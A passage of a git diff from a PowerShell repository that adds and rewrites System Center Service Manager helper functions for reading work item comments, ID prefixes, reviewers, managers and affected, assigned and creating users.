$WorkItem -Target $Reviewer - $reviewerStep2 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_ReviewerIsUser -Source $Reviewer -Target $ScsmUser - $reviewerStep1.Commit() - $reviewerStep2.Commit() - } - } -} \ No newline at end of file diff --git a/SCSM-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-Get-SCSMIRComment/Get-SCSMIRComment.ps1 new file mode 100644 index 00000000..7c7c3aab --- /dev/null +++ b/SCSM-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -0,0 +1,56 @@ +function Get-SCSMIRComment { + <# + .SYNOPSIS + Function to retrieve all the comment of a Incident Request + + .DESCRIPTION + Function to retrieve all the comment of a Incident Request + + .PARAMETER Incident + Specifies the Incident Request Object. + + .EXAMPLE + PS C:\> Get-SCSMIRComment -Incident (get-scsmincident -ID 'IR55444') + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM + ( + #[System.WorkItem.Incident[]] + [object[]]$Incident + ) + PROCESS { + FOREACH ($IR in $Incident) { + TRY { + # Retrieve Comments + $FilteredIncidents = $IR.AppliesToTroubleTicket | Where-Object -FilterScript { + $_.ClassName -eq "System.WorkItem.TroubleTicket.UserCommentLog" -OR $_.ClassName -eq "System.WorkItem.TroubleTicket.AnalystCommentLog" + } + + IF ($FilteredIncidents.count -gt 0) { + FOREACH ($Comment in $FilteredIncidents) { + $Properties = @{ + IncidentID = $IR.ID + EnteredDate = $Comment.EnteredDate + EnteredBy = $Comment.EnteredBy + Comment = $Comment.Comment + ClassName = $Comment.ClassName + IsPrivate = $Comment.IsPrivate + } + + New-Object -TypeName PSObject -Property $Properties + } # FOREACH + } #IF Incident found + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } #FOREACH ($IR in $Incident) + } #Process +} #Function \ No newline at end of file diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 new file mode 100644 index 00000000..7511971e --- /dev/null +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -0,0 +1,87 @@ +function Get-SCSMIncidentRequestComment { + <# + .SYNOPSIS + Function to retrieve the comments from a Incident Request WorkItem + + .DESCRIPTION + Function to retrieve the comments from a Incident Request WorkItem + + .PARAMETER DateTime + Specifies from when (DateTime) the search need to look + + .PARAMETER GUID + Specifies the GUID of the Incident Request + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime "2016/01/01" + + .EXAMPLE + Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + PARAM + ( + [Parameter(ParameterSetName = 'General', + Mandatory = $false)] + $DateTime = $((Get-Date).AddHours(-24)), + + [Parameter(ParameterSetName = 'GUID')] + $GUID + ) + BEGIN { + $AssignedUserClassRelation = Get-SCSMRelationshipClass -Id 15e577a3-6bf9-6713-4eac-ba5a5b7c4722 + } + PROCESS { + + IF ($PSBoundParameters['GUID']) { + $Tickets = Get-SCSMObject -id $GUID + } + ELSE { + if ($DateTime -is [String]) { $DateTime = Get-Date $DateTime } + $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) + $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.incident$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } + } + + $Tickets | + ForEach-Object -Process { + $CurrentTicket = $_ + $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket + $AssignedTo = (Get-SCSMRelatedObject -SMObject $CurrentTicket -Relationship $AssignedUserClassRelation) + + $Objects = $relatedObjects | + Where-Object -FilterScript { + $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or + $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or + $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' } + + Foreach ($Comment in $Objects) { + # Output the information + [pscustomobject][ordered] @{ + TicketName = $CurrentTicket.Name + TicketClassName = $CurrentTicket.Classname + TicketDisplayName = $CurrentTicket.DisplayName + TicketID = $CurrentTicket.ID + TicketGUID = $CurrentTicket.get_id() + TicketTierQueue = $CurrentTicket.TierQueue.displayname + TicketAssignedTo = $AssignedTo.DisplayName + TicketCreatedDate = $CurrentTicket.CreatedDate + Comment = $Comment.Comment + CommentEnteredBy = $Comment.EnteredBy + CommentEnteredDate = $Comment.EnteredDate + CommentClassName = $Comment.ClassName + } + } + } + + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.png b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.png new file mode 100644 index 00000000..d365074b Binary files /dev/null and b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.png differ diff --git a/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 new file mode 100644 index 00000000..f5d5af70 --- /dev/null +++ b/SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 @@ -0,0 +1,105 @@ +function Get-SCSMObjectPrefix { + <# + .SYNOPSIS + Function to retrieve the Prefix used for the different WorkItem, Activities or Knowledge Article + + .DESCRIPTION + Function to retrieve the Prefix used for the different WorkItem, Activities or Knowledge Article + + .PARAMETER ClassName + Specified the ClassName you want to query + + .EXAMPLE + Get-SCSMObjectPrefix + + DependentActivity : DA + ManualActivity : MA + ParallelActivity : PA + ReviewActivity : RA + RunbookAutomationActivity : RB + SequentialActivity : SA + IncidentRequest : IR + ServiceRequest : SR + Change : CR + Knowledge : KA + Problem : PR + Release : RR + + .EXAMPLE + Get-SCSMObjectPrefix -ClassName Change + + CR + + .NOTES + Francois-Xavier Cat + www.lazywinadmin + @lazywinadmin + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [OutputType([psobject])] + param + ( + [ValidateSet( + 'DependentActivity', + 'ManualActivity', + 'ParallelActivity', + 'ReviewActivity', + 'RunbookAutomationActivity', + 'SequentialActivity', + 'IncidentRequest', + 'ServiceRequest', + 'Change', + 'Knowledge', + 'Problem', + 'Release' + )] + [string]$ClassName + ) + + BEGIN { + Import-Module -Name Smlets + + $ActivitySettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ActivitySettings") + $ChangeSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ChangeSettings") + $KnowledgedSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.KnowledgeSettings") + $ProblemSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ProblemSettings") + $ReleaseSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ReleaseSettings") + $ServiceRequestSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.GlobalSetting.ServiceRequestSettings") + $IncidentRequestSettingsObj = Get-SCSMObject -Class (Get-SCSMClass -Name "System.WorkItem.Incident.GeneralSetting") + } + PROCESS { + Switch ($ClassName) { + "DependentActivity" { $ActivitySettingsObj.SystemWorkItemActivityDependentActivityIdPrefix } + "ManualActivity" { $ActivitySettingsObj.SystemWorkItemActivityManualActivityIdPrefix } + "ParallelActivity" { $ActivitySettingsObj.SystemWorkItemActivityParallelActivityIdPrefix } + "ReviewActivity" { $ActivitySettingsObj.SystemWorkItemActivityReviewActivityIdPrefix } + "RunbookAutomationActivity" { $ActivitySettingsObj.MicrosoftSystemCenterOrchestratorRunbookAutomationActivityBaseIdPrefix } + "SequentialActivity" { $ActivitySettingsObj.SystemWorkItemActivitySequentialActivityIdPrefix } + "IncidentRequest" { $IncidentRequestSettingsObj.PrefixForId } + "ServiceRequest" { $ServiceRequestSettingsObj.ServiceRequestPrefix } + "Change" { $ChangeSettingsObj.SystemWorkItemChangeRequestIdPrefix } + "Knowledge" { $KnowledgedSettingsObj.SystemKnowledgeArticleIdPrefix } + "Problem" { $ProblemSettingsObj.ProblemIdPrefix } + "Release" { $ReleaseSettingsObj.SystemWorkItemReleaseRecordIdPrefix } + default { + [pscustomobject][ordered]@{ + "DependentActivity" = $ActivitySettingsObj.SystemWorkItemActivityDependentActivityIdPrefix + "ManualActivity" = $ActivitySettingsObj.SystemWorkItemActivityManualActivityIdPrefix + "ParallelActivity" = $ActivitySettingsObj.SystemWorkItemActivityParallelActivityIdPrefix + "ReviewActivity" = $ActivitySettingsObj.SystemWorkItemActivityReviewActivityIdPrefix + "RunbookAutomationActivity" = $ActivitySettingsObj.MicrosoftSystemCenterOrchestratorRunbookAutomationActivityBaseIdPrefix + "SequentialActivity" = $ActivitySettingsObj.SystemWorkItemActivitySequentialActivityIdPrefix + "IncidentRequest" = $IncidentRequestSettingsObj.PrefixForId + "ServiceRequest" = $ServiceRequestSettingsObj.ServiceRequestPrefix + "Change" = $ChangeSettingsObj.SystemWorkItemChangeRequestIdPrefix + "Knowledge" = $KnowledgedSettingsObj.SystemKnowledgeArticleIdPrefix + "Problem" = $ProblemSettingsObj.ProblemIdPrefix + "Release" = $ReleaseSettingsObj.SystemWorkItemReleaseRecordIdPrefix + } + } + } + } +} diff --git a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 new file mode 100644 index 00000000..467ba89f --- /dev/null +++ b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 @@ -0,0 +1,71 @@ +function Get-SCSMReviewActivityReviewer { +<# +.SYNOPSIS +Function to retrieve the reviewers of a Review Activity + +.DESCRIPTION +Function to retrieve the reviewers of a Review Activity + +.PARAMETER ActivityObject +Specifies the Service Manager Object + +.PARAMETER ActivityName +Specifies the Name of the Ticket (Example RA1000) + +.PARAMETER ActivityGUID +Specifies the GUID of the Activity + +.EXAMPLE +Get-SCSMReviewActivityReviewer -ActivityObject $RA + +.EXAMPLE +Get-SCSMReviewActivityReviewer -ActivityGUID '04ddd0a1-993a-13dc-68a8-c434270df5a2' + +.EXAMPLE +Get-SCSMReviewActivityReviewer -ActivityName 'RA1234' + +.NOTES +Francois-Xavier Cat +lazywinadmin.com +@lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding(DefaultParameterSetName = 'Object')] + param + ( + [Parameter(ParameterSetName = 'Object', + Mandatory = $true, + ValueFromPipeline = $true)] + $ActivityObject, + + [Parameter(ParameterSetName = 'Name', + Mandatory = $true)] + $ActivityName, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $ActivityGUID + ) + + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } + PROCESS { + IF ($PSBoundParameters['ActivityGUID']) { + $RA = Get-SCSMObject -Id $ActivityGUID + } + IF ($PSBoundParameters['ActivityName']) { + $RA = Get-SCSMObject (Get-SCSMClass System.WorkItem.Activity.ReviewActivity$) -Filter Id -eq $ActivityName + } + IF ($PSBoundParameters['ActivityObject']) { + $RA = $ActivityObject + } + + + $RelationshipClassHasReviewer = Get-SCSMRelationshipClass System.ReviewActivityHasReviewer$ + $RelationshipClassReviewerIsUser = Get-SCSMRelationshipClass System.ReviewerIsUser$ + foreach ($Reviewer in (Get-SCSMRelatedObject -SMObject $RA -Relationship $RelationshipClassHasReviewer)) { + Get-SCSMRelatedObject -SMObject $Reviewer -Relationship $RelationshipClassReviewerIsUser + } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 new file mode 100644 index 00000000..1d7b8004 --- /dev/null +++ b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 @@ -0,0 +1,73 @@ +function Get-SCSMServiceRequestComment { + <# + .SYNOPSIS + Function to retrieve the comments from a Service Request WorkItem + + .DESCRIPTION + Function to retrieve the comments from a Service Request WorkItem + + .PARAMETER DateTime + Specifies from when (DateTime) the search need to look + + .PARAMETER GUID + Specifies the GUID of the Service Request or Incident + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime "2016/01/01" + + .EXAMPLE + Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + PARAM + ( + [Parameter(ParameterSetName = 'General', + Mandatory = $true)] + $DateTime = $((Get-Date).AddHours(-24)), + + [Parameter(ParameterSetName = 'GUID')] + $GUID + ) + + IF ($PSBoundParameters['GUID']) { + $Tickets = Get-SCSMObject -id $GUID + } + ELSE { + if ($DateTime -is [String]) { $DateTime = Get-Date $DateTime } + $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) + $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.servicerequest$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } + } + + $Tickets | + ForEach-Object -Process { + $CurrentTicket = $_ + $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket + Foreach ($Comment in ($relatedObjects | Where-Object -FilterScript { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' })) { + # Output the information + [pscustomobject][ordered] @{ + TicketName = $CurrentTicket.Name + TicketClassName = $CurrentTicket.Classname + TicketDisplayName = $CurrentTicket.DisplayName + TicketID = $CurrentTicket.ID + TicketGUID = $CurrentTicket.get_id() + TicketSupportGroup = $CurrentTicket.SupportGroup.displayname + TicketAssignedTo = $CurrentTicket.AssignedTo + TicketCreatedDate = $CurrentTicket.CreatedDate + Comment = $Comment.Comment + CommentEnteredBy = $Comment.EnteredBy + CommentEnteredDate = $Comment.EnteredDate + CommentClassName = $Comment.ClassName + } + } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 new file mode 100644 index 00000000..dde5238f --- /dev/null +++ b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 @@ -0,0 +1,51 @@ +Function Get-SCSMUserManager { + <# + .SYNOPSIS + Function to retrieve the manager of a user + .DESCRIPTION + Function to retrieve the manager of a user + .PARAMETER UserID + Specify the User ID + .EXAMPLE + Get-SCSMUserManager -UserID $UserID + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + Param ( + [Alias('input_affectedUser_id')] + [String]$UserID + ) + try { + ## Return Variables + $managerOfAffectedUser_obj = $null + + ## MAIN + $affectedUser_obj = get-scsmobject -id $UserID + $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' + $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | + Where-Object -FilterScript { + $_.relationshipId -eq $userManagesUser_relclass_id + } + + ## Check if Manager User Exists and that the relationship is current. + ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new + ## relationships + + If ($null -ne $managerOfAffectedUser_relobjs) { + ForEach ($managerOfAffectedUser_relobj in $managerOfAffectedUser_relobjs) { + If ($managerOfAffectedUser_relobj.IsDeleted -eq $True) { + #The relationship no longer exists. Returning nothing + # which will effectively keep the managerOfAffectedUser_obj the same as before. + } + Else { + #The relationship exists, setting managerOfAffectedUser_relExists to true. + get-scsmobject -id ($managerofaffecteduser_relobj.SourceObject.Id.Guid) + } + } + } + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 new file mode 100644 index 00000000..d4c3ab4e --- /dev/null +++ b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 @@ -0,0 +1,35 @@ +function Get-SCSMWorkItemAffectedCI { + <# + .SYNOPSIS + Function to retrieve the affected configuration item of a System Center Service Manager Work Item + + .DESCRIPTION + Function to retrieve the affected configuration item of a System Center Service Manager Work Item + + .PARAMETER GUID + Specifies the GUID of the WorkItem + + .EXAMPLE + PS C:\> Get-SCSMWorkItemAffectedCI -GUID "69c5dfc9-9acb-0afb-9210-190d3054901e" + + .NOTES + Francois-Xavier.Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM ( + [parameter()] + [Alias()] + $GUID + ) + PROCESS { + # Find the Ticket Object + $WorkItemObject = Get-SCSMObject -id $GUID + + # Find the Affected Configuration Items + Get-SCSMRelationshipObject -BySource $WorkItemObject | + Where-Object -FilterScript { $_.relationshipid -eq 'b73a6094-c64c-b0ff-9706-1822df5c2e82' } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index bfd5553a..300163a0 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -1,50 +1,72 @@ -Function Get-WorkItemAffectedUser -{ -<# - .SYNOPSIS - Function to retrieve the Affected User of a Work Item - - .DESCRIPTION - Function to retrieve the Affected User of a Work Item - - .PARAMETER WorkItem - Specifies the object to query - - .EXAMPLE - PS C:\> Get-WorkItemAffectedUser -WorkItem $SR,IR - - .EXAMPLE - PS C:\> $SR,IR | Get-WorkItemAffectedUser - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com - - 1.0 Based on Cireson's consultants Script +function Get-SCSMWorkItemAffectedUser { + <# + .SYNOPSIS + Function to retrieve the Affected User of a Work Item + + .DESCRIPTION + Function to retrieve the Affected User of a Work Item + + .PARAMETER SMObject + Specifies the SMObject(s) on which the affected need to be retrieve. + + .PARAMETER Guid + Specifies the GUID of the SMObject on which the affected need to be retrieve. + + .EXAMPLE + Get-SCSMWorkItemAffectedUser -SMObject $SR,$IR + + .EXAMPLE + $SR,$IR | Get-SCSMWorkItemAffectedUser + + .EXAMPLE + Get-SCSMWorkItemAffectedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline)] - $WorkItem - ) - BEGIN - { - $wiAffectedUser_obj = $null - Import-Module -Name SMLets -ErrorAction Stop - } - PROCESS - { - foreach ($Item in $WorkItem) - { - Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" - # AffectedUser RelationshipClass - $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' - $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser - - Get-ScsmRelatedObject -SMObject $Item -Relationship $wiAffectedUser_relclass_obj | - Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, - @{ Label = "WorkItemName"; Expression = { $Item.get_id() } },* - } - } + + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) + + BEGIN { + Import-Module -Name SMLets -ErrorAction Stop + + # AffectedUser RelationshipClass + $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' + $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser + } + PROCESS { + IF ($PSBoundParameters['GUID']) { + foreach ($Item in $GUID) { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AffectedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } + + IF ($PSBoundParameters['SMobject']) { + foreach ($Item in $SMObject) { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AffectedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } } diff --git a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 new file mode 100644 index 00000000..b902b7a9 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 @@ -0,0 +1,71 @@ +function Get-SCSMWorkItemAssignedUser { + <# + .SYNOPSIS + Function to retrieve the Assigned User of a Work Item + + .DESCRIPTION + Function to retrieve the Assigned User of a Work Item + + .PARAMETER SMObject + Specifies the SMObject(s) on which the Assigned need to be retrieve. + + .PARAMETER Guid + Specifies the GUID of the SMObject on which the Assigned need to be retrieve. + + .EXAMPLE + Get-SCSMWorkItemAssignedUser -SMObject $SR,IR + + .EXAMPLE + $SR,IR | Get-SCSMWorkItemAssignedUser + + .EXAMPLE + Get-SCSMWorkItemAssignedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) + + BEGIN { + Import-Module -Name SMLets -ErrorAction Stop + + # AssignedUser RelationshipClass + $RelationshipClass_AssignedUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemAssignedToUser$ + } + PROCESS { + IF ($PSBoundParameters['GUID']) { + foreach ($Item in $GUID) { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AssignedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } + + IF ($PSBoundParameters['SMobject']) { + foreach ($Item in $SMObject) { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AssignedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 new file mode 100644 index 00000000..6a2503a4 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 @@ -0,0 +1,50 @@ +Function Get-SCSMWorkItemChildItem { + <# + .SYNOPSIS + Retrieve item associated with a work item + .DESCRIPTION + Retrieve item associated with a work item + .PARAMETER WorkItemGUID + Specify the GUID of the WorkItem + .EXAMPLE + Get-SCSMWorkItemChildItem -WorkItemGuid $WIGuid + .NOTES + General notes + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + param ( + [Parameter(Mandatory = $True)] + $WorkItemGUID + ) + try { + ### Variables to Return + $childWIs_obj = @() + + ### MAIN + $inputPWI_obj = get-scsmobject -id $WorkItemGUID + $containsActivity_relclass_id = '2da498be-0485-b2b2-d520-6ebd1698e61b' + $childWIs_relobj_filter = "RelationshipId -eq '$containsActivity_relclass_id'" + $childWIs_relobj = Get-SCSMRelationshipObject -BySource $inputPWI_obj | + Where-Object -FilterScript { + $_.RelationshipId -eq $containsActivity_relclass_id + } + ForEach ($childWI_relobj in $childWIs_relobj) { + if ($childWI_relobj.IsDeleted -ne 'false') { + + $childWI_id = $childWI_relobj.TargetObject.id.guid + $childWI_obj = get-scsmobject -id $childWI_id + #filter for DynamicReviewerActivity + If ($childWI_obj.ClassName -eq 'System.WorkItem.Activity.ReviewActivity' -AND $childWI_obj.Title -match 'DynamicReviewerActivity') { + $childWIs_obj += $childWI_obj + } + } + } + $childWIs_obj + + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 new file mode 100644 index 00000000..eb945b10 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 @@ -0,0 +1,10 @@ +# Get the review activity +$childWI_ReviewerActivityHasReviewers_Class_id = '6e05d202-38a4-812e-34b8-b11642001a80' +$childWI_ReviewerActivityHasReviewers_Class_obj = Get-SCSMRelationshipClass -id $childWI_ReviewerActivityHasReviewers_Class_id + + +# Get the reviewer +$childWI_ReviewerisUser_Class_id = '90da7d7c-948b-e16e-f39a-f6e3d1ffc921' +$childWI_ReviewerisUser_Class_obj = Get-SCSMRelationshipClass -id $childWI_ReviewerisUser_Class_id + +$childWI_reviewers = Get-SCSMRelatedObject -SMObject $childWI_obj -Relationship $childWI_ReviewerActivityHasReviewers_Class_obj \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 new file mode 100644 index 00000000..b6d1a5d2 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 @@ -0,0 +1,73 @@ +function Get-SCSMWorkItemCreatedByUser { + <# + .SYNOPSIS + Function to retrieve the Created By User of a Work Item + + .DESCRIPTION + Function to retrieve the Created By User of a Work Item + + .PARAMETER SMObject + Specifies the SMObject(s) on which the Created By need to be retrieve. + + .PARAMETER Guid + Specifies the GUID of the SMObject on which the Created By need to be retrieve. + + .EXAMPLE + Get-SCSMWorkItemCreatedByUser -SMObject $SR,IR + + .EXAMPLE + $SR,IR | Get-SCSMWorkItemCreatedByUser + + .EXAMPLE + Get-SCSMWorkItemCreatedByUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) + + BEGIN { + Import-Module -Name SMLets -ErrorAction Stop + + # CreatedByUser RelationshipClass + $RelationshipClass_CreatedByUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemCreatedByUser + + + } + PROCESS { + IF ($PSBoundParameters['GUID']) { + foreach ($Item in $GUID) { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_CreatedByUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } + + IF ($PSBoundParameters['SMobject']) { + foreach ($Item in $SMObject) { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_CreatedByUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index ba3dfb50..afddbc6a 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -1,88 +1,98 @@ -function Get-SCSMWorkItemParent -{ - <# - .DESCRIPTION - Function to retrieve the parent of a System Center Service Manager Work Item - - .SYNOPSIS - Function to retrieve the parent of a System Center Service Manager Work Item - - .PARAMETER 